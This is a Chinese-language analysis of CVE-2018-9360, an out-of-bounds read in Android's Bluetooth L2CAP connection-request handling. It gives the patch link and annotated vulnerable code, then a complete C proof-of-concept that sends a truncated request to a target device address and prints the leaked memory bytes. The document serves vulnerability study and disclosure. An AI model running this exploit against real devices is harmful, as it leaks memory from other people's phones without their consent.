【蓝牙】CVE-2018-9360 process_l2cap_cmd_L2CAP_CMD_CONN_REQ未判断缓冲区边界造成信息泄露

补丁

  • https://android.googlesource.com/platform/system/bt/+/b66fc16410ff96e9119f8eb282e67960e79075c8

/*******************************************************************************
 *
 * Function         process_l2cap_cmd
 *
 * Description      This function is called when a packet is received on the
 *                  L2CAP signalling CID
 *
 * Returns          void
 *
 ******************************************************************************/
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
    ...
    /* An L2CAP packet may contain multiple commands */
    while (true) {
        /* Smallest command is 4 bytes */
        p = p_next_cmd; // p此时作为指针在缓冲区游动
        if (p > (p_pkt_end - 4)) break; // 保证剩余缓冲区至少还有4字节的数据剩余
    
        ...
        switch (cmd_code) {
            ...
            case L2CAP_CMD_CONN_REQ:
                // 取了4字节,取值前未判断:p + 2 > p_pkt_end
                STREAM_TO_UINT16(con_info.psm, p);
                STREAM_TO_UINT16(rcid, p);
                p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
                if (p_rcb == NULL) {
                    L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d", con_info.psm);
                    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
                    break;
                } else {
                    if (!p_rcb->api.pL2CA_ConnectInd_Cb) {
                        L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for outgoing-only connection PSM: %d", con_info.psm);
                        l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
                        break;
                    }
                }
                p_ccb = l2cu_allocate_ccb(p_lcb, 0);
                if (p_ccb == NULL) {
                    L2CAP_TRACE_ERROR("L2CAP - unable to allocate CCB");
                    l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_RESOURCES);
                    break;
                }
                p_ccb->remote_id = id;
                p_ccb->p_rcb = p_rcb;
                p_ccb->remote_cid = rcid;

                l2c_csm_execute(p_ccb, L2CEVT_L2CAP_CONNECT_REQ, &con_info);
                break;
        
                ...
        }
    }
}

l2cu_find_rcb_by_psm(con_info.psm)找不到的时候,就会返回NULL,会调用l2cu_reject_connection(),这个函数描述可以仔细看看,不存在PSM的时候就会调用,并且通过l2c_link_check_send_pkts()发送数据包回去

/*******************************************************************************
 *
 * Function         l2cu_reject_connection
 *
 * Description      Build and send an L2CAP "connection response neg" message
 *                  to the peer. This function is called when there is no peer
 *                  CCB (non-existant PSM or no resources).
 *
 * Returns          void
 *
 ******************************************************************************/
void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid, uint8_t rem_id, uint16_t result) {
    BT_HDR* p_buf;
    uint8_t* p;

    // 构建包头部
    p_buf = l2cu_build_header(p_lcb, L2CAP_CONN_RSP_LEN, L2CAP_CMD_CONN_RSP, rem_id);
    if (p_buf == NULL) {
        L2CAP_TRACE_WARNING("L2CAP - no buffer for conn_req");
        return;
    }

    // 将p指向缓冲区
    p = (uint8_t*)(p_buf + 1) + L2CAP_SEND_CMD_OFFSET + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD + L2CAP_CMD_OVERHEAD;

    UINT16_TO_STREAM(p, 0); /* Local CID of 0   */
    UINT16_TO_STREAM(p, remote_cid); // 越界读的数据
    UINT16_TO_STREAM(p, result);
    UINT16_TO_STREAM(p, 0); /* Status of 0      */

    l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define SIGNALLING_CID 0x0001

#define L2CAP_CMD_CONN_REQ 0x02

#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

static void show_data(void *data, int len)
{
    int i;
    uint8_t *p = (uint8_t*)data;
    for(i = 0; i < len ; i++) {
        printf("%02x " ,p[i]);
        if(i > 0 && i % 7 == 0)
            printf(" ");
        if(i > 0 && i % 15 == 0)
            printf("\n");
    }
    printf("\n");
}

void recv_and_leak(int sock_fd)
{
    uint8_t recv_buf[512];
    int ret;

    memset(recv_buf, 0, 512);
    ret = recv(sock_fd, recv_buf, 512, 0);
    if(ret == -1) {
        perror("[*] recv : ");
        return;
    }
    uint8_t *p = recv_buf;
    show_data(p, ret);
    // printf("leak data: %04x\n", trans_num);
}

void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);

    uint8_t *p = buffer;
    uint8_t cmd = L2CAP_CMD_CONN_REQ;
    *p++ = cmd;

    uint8_t id = 0x00;
    *p++ = id;

    uint16_t cmd_len = 0x0000;
    UINT16_TO_STREAM(p, cmd_len);

    uint16_t psm = 0xffff;
    UINT16_TO_STREAM(p, psm);

    send(sock_fd, buffer, p - buffer, 0);

    recv_and_leak(sock_fd);
}

int main(int argc ,char* argv[]){
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2){
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1)
        {
            perror("[*] socket create failed : ");
            return -1;
        }

        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        local_l2_addr.l2_bdaddr_type = 0;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1)
        {
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0)
        {
            perror("[*] setsockopt error");
            goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;
        remote_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) 
        {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

Last updated